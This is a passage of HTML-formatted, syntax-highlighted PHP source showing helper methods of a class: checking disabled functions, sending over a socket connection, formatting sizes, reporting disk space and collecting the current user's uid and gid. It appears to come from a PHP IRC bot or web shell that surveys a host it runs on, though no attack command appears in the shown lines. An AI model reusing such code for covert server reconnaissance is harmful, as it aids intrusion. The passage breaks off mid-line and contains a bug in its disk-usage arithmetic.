&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum665&quot;&gt; 665:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; ableFunc($func) {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum666&quot;&gt; 666:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; (function_exists($func) &amp;amp;&amp;amp; is_callable($func) &amp;amp;&amp;amp; !in_array($func, $this-&amp;gt;getdisfunc())) ? TRUE : FALSE;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum667&quot;&gt; 667:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum668&quot;&gt; 668:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum669&quot;&gt; 669:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; getdisfunc() {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum670&quot;&gt; 670:&lt;/span&gt;         $func = explode(&lt;span style=&quot;color: #006080&quot;&gt;&quot;,&quot;&lt;/span&gt;, @ini_get(&lt;span style=&quot;color: #006080&quot;&gt;&quot;disable_functions&quot;&lt;/span&gt;));&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum671&quot;&gt; 671:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; (!&lt;span style=&quot;color: #0000ff&quot;&gt;empty&lt;/span&gt;($func)) ? $func : &lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum672&quot;&gt; 672:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum673&quot;&gt; 673:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum674&quot;&gt; 674:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; send($t) {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum675&quot;&gt; 675:&lt;/span&gt;         @fputs($this-&amp;gt;connection, $t.&lt;span style=&quot;color: #006080&quot;&gt;&quot;\r\n&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum676&quot;&gt; 676:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum677&quot;&gt; 677:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum678&quot;&gt; 678:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; vsize($size) {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum679&quot;&gt; 679:&lt;/span&gt;       &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (!is_numeric($size)) { &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; FALSE; }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum680&quot;&gt; 680:&lt;/span&gt;       &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum681&quot;&gt; 681:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ( $size &amp;gt;= 1073741824 ) { $size = round($size/1073741824*100)/100 .&lt;span style=&quot;color: #006080&quot;&gt;&quot; GB&quot;&lt;/span&gt;; }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum682&quot;&gt; 682:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;elseif&lt;/span&gt; ( $size &amp;gt;= 1048576 ) { $size = round($size/1048576*100)/100 .&lt;span style=&quot;color: #006080&quot;&gt;&quot; MB&quot;&lt;/span&gt;; }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum683&quot;&gt; 683:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;elseif&lt;/span&gt; ( $size &amp;gt;= 1024 ) { $size = round($size/1024*100)/100 .&lt;span style=&quot;color: #006080&quot;&gt;&quot; KB&quot;&lt;/span&gt;; }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum684&quot;&gt; 684:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; { $size = $size . &lt;span style=&quot;color: #006080&quot;&gt;&quot; B&quot;&lt;/span&gt;; }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum685&quot;&gt; 685:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; $size;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum686&quot;&gt; 686:&lt;/span&gt;       }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum687&quot;&gt; 687:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum688&quot;&gt; 688:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum689&quot;&gt; 689:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; hdd($type) {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum690&quot;&gt; 690:&lt;/span&gt;         $P = @getcwd();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum691&quot;&gt; 691:&lt;/span&gt;         $T = @disk_total_space($P);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum692&quot;&gt; 692:&lt;/span&gt;         $F = @disk_free_space($P);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum693&quot;&gt; 693:&lt;/span&gt;         $U = $T - $U;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum694&quot;&gt; 694:&lt;/span&gt;         $hddspace = &lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;(&lt;span style=&quot;color: #006080&quot;&gt;&quot;total&quot;&lt;/span&gt; =&amp;gt; $this-&amp;gt;vsize($T), &lt;span style=&quot;color: #006080&quot;&gt;&quot;free&quot;&lt;/span&gt;  =&amp;gt; $this-&amp;gt;vsize($F), &lt;span style=&quot;color: #006080&quot;&gt;&quot;used&quot;&lt;/span&gt;  =&amp;gt; $this-&amp;gt;vsize($U));&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum695&quot;&gt; 695:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; $hddspace[$type];&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum696&quot;&gt; 696:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum697&quot;&gt; 697:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum698&quot;&gt; 698:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; userInfo() {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum699&quot;&gt; 699:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(!$this-&amp;gt;ableFunc(&lt;span style=&quot;color: #006080&quot;&gt;&#39;posix_getegid&#39;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum700&quot;&gt; 700:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum701&quot;&gt; 701:&lt;/span&gt;                 $user = @get_current_user();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum702&quot;&gt; 702:&lt;/span&gt;                 $uid = @getmyuid();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum703&quot;&gt; 703:&lt;/span&gt;                 $gid = @getmygid();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum704&quot;&gt; 704:&lt;/span&gt;                 $group = &lt;span style=&quot;color: #006080&quot;&gt;&quot;?&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum705&quot;&gt; 705:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;User: [8 &quot;&lt;/span&gt;.$user.&lt;span style=&quot;color: #006080&quot;&gt;&quot; ] UID/GID: [8 &quot;&lt;/span&gt;.$uid.&lt;span style=&quot;color: #006080&quot;&gt;&quot;/8 &quot;&lt;/span&gt;.$gid.&lt;span style=&quot;color: #006080&quot;&gt;&quot; ] Group: [8 &quot;&lt;/span&gt;.$group.&lt;span style=&quot;color: #006080&quot;&gt;&quot; ]&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum706&quot;&gt; 706:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum707&quot;&gt; 707:&lt;/span&gt;             &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum708&quot;&gt; 708:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum709&quot;&gt; 709:&lt;/span&gt;                 $uid = @posix_getpwuid(@posix_geteuid());&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum710&quot;&gt; 710:&lt;/span&gt;                 $gid = @posix_getgrgid(@posix_getegid());&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum711&quot;&gt; 711:&lt;/span&gt;                 $user = $uid[&lt;span style=&quot;color: #006080&quot;&gt;&#39;name&#39;&lt;/span&gt;];&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum712&quot;&gt; 712:&lt;/span&gt;                 $uid = $uid[&lt;span style=&quot;color: #006080&quot;&gt;&#39;uid&#39;&lt;/span&gt;];&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum713&quot;&gt; 713:&lt;/span&gt;                 $group = $gid[&lt;span style=&quot;color: #006080&quot;&gt;&#39;name&#39;&lt;/span&gt;];&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre 